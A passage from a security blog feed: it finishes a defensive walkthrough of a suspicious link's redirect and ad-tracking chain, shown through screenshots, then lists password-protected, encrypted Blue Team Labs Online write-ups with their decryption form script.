src="https://blog.ericturner.it/uploads/2022/04/IMG_9705.webp"/></p> <p>JWT decoded</p> <p>With the token and cookie set, it just immediately redirects you to a new booknower <dot> com URL with some random strings in the URL:</dot></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/IMG_3698.webp"/></p> <p>Another redirect</p> <p>Finally, this URL just redirects back to google.:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/IMG_0367.webp"/></p> <p>I tried to mess with the parameters of the booknower URL but I kept getting 503 errors like the server was down. I noticed if I retired the URL, the sequence was now different.</p> <h1 id="attempt-2-ww1">Attempt 2: ww1</h1> <p>In this attempt, it navigated me to ww1 <dot> dnkshop <dot> net this time:</dot></dot></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-8.webp"/></p> <p>This time the contents of the page were way different. It set an adblock cookie and loaded a <code>parking.2.86.1.js</code> file. It also contains another token/base64 string to a <code>window.park</code></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-9.webp"/></p> <p>Decoding this gives a JSON response basically building the request headers and contains my IP (which in this instance is going through a VPN).</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-10.webp"/></p> <p>I also checked out the JS file. It is very long and has mentions to bodis <dot> com, the code is also semi-obfuscated. All the variable names are just random letters. I looked up bodis.com and it appears to be a legitimate domain that uses some sort of tracking pixel for advertisements as per <a href="https://www.bodis.com/blog/new-feature-google-analytics-tracking">this page</a>.</dot></p> <p>Next, I am redirect and it makes two <code>POST</code> requests on the <code>www1&lt;dot&gt;dnkshop&lt;dot&gt;net</code> domain, to <code>/_fd</code> first:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-11.webp"/></p> <p>Which then appears to take that content and use it as a signature in it's request to <code>/_zc</code>:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-12.webp"/></p> <p>I then get redirected to GoDaddy's purchase page to try and buy the dnkshop domain myself:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-13.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/IMG_3589.webp"/></p> <p>Which it does happen to be available, interestingly. My assumption is after tracking all of the requests, it perhaps is hoping the end-user is signed into GoDaddy and maybe the cookies would try to auto-purchase the domain for you?</p> <h1 id="attempt-3-ww2">Attempt 3: ww2</h1> <p>It's interesting because each time I click the link, the URL it first sends me to appears to change. Let's check this rabbit hole.</p> <p>It has further tracking cookies that track the sale form:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-14.webp"/></p> <p>And it also sends a big blob of data to itself on the <code>/ls.php</code> endpoint:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-15.webp"/></p> <h1 id="further-attempts">Further Attempts</h1> <p>I ran it a bunch of different times and it would vary between "domain for sale" pages, but once I got redirected through another few hoops to a "job posting" page. </p> <p>From the booknower website again, but now to american listed:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-16.webp"/></p> <p>Which then redirects to an ad campaign, that redirects me to jobs in New York (where my VPN is currently set):</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-17.webp"/></p> <p>Then it hops through a bunch of other trackers and a jobhelper<dot>com website:</dot></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-18.webp"/></p> <h1 id="conclusion">Conclusion</h1> <p>This URL is definitely odd. It always will redirect to the dnkshop <dot> net, with variations of www, ww1, ww2. The page you return on can vary as well. The majority of the time it took me to a page stating the domain was for sale, even though a <code>whois</code> clearly indicates it's registered and valid until 2023:</dot></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-19.webp"/></p> <p>whois record</p> <p>Only on rare occasions could I get it to redirect me to some other site such as the job posting site. It must have some sort of randomization feature on where it redirects you. I have tried clearing my cache/cookies each time as well but the majority of the time I always got some sort of for sale page. The "for sale" page was some variation of the following:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-20.webp"/></p> <p>random google ad links</p> <p>Clicking any of the links just grabbed info from google but kept you on the site. Presumably they earned a few cents for each click as ad revenue maybe? It's definitely an odd link as sometimes it would fire out to someplace else, but mostly would just show for sale.</p>2022-04-20T12:22:46-04:002026-05-17T14:03:45.438869-04:00Eric Turnertag:blog.ericturner.it,2022-04-20:/2022/04/20/btlo-investigation-xhell/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">MEBct30oU4tIZESJdqUGCA==;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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-04-15T12:47:14-04:002026-05-17T14:03:45.436875-04:00Eric Turnertag:blog.ericturner.it,2022-04-15:/2022/04/15/btlo-investigation-link/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">6ORv/IjhFfa7yTbTxMnZhQ==;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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-04-11T17:54:24-04:002026-05-17T14:03:45.438869-04:00Eric Turnertag:blog.ericturner.it,2022-04-11:/2022/04/11/btlo-investigation/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">ptdbmLXWcnnez73oc+wfpQ==;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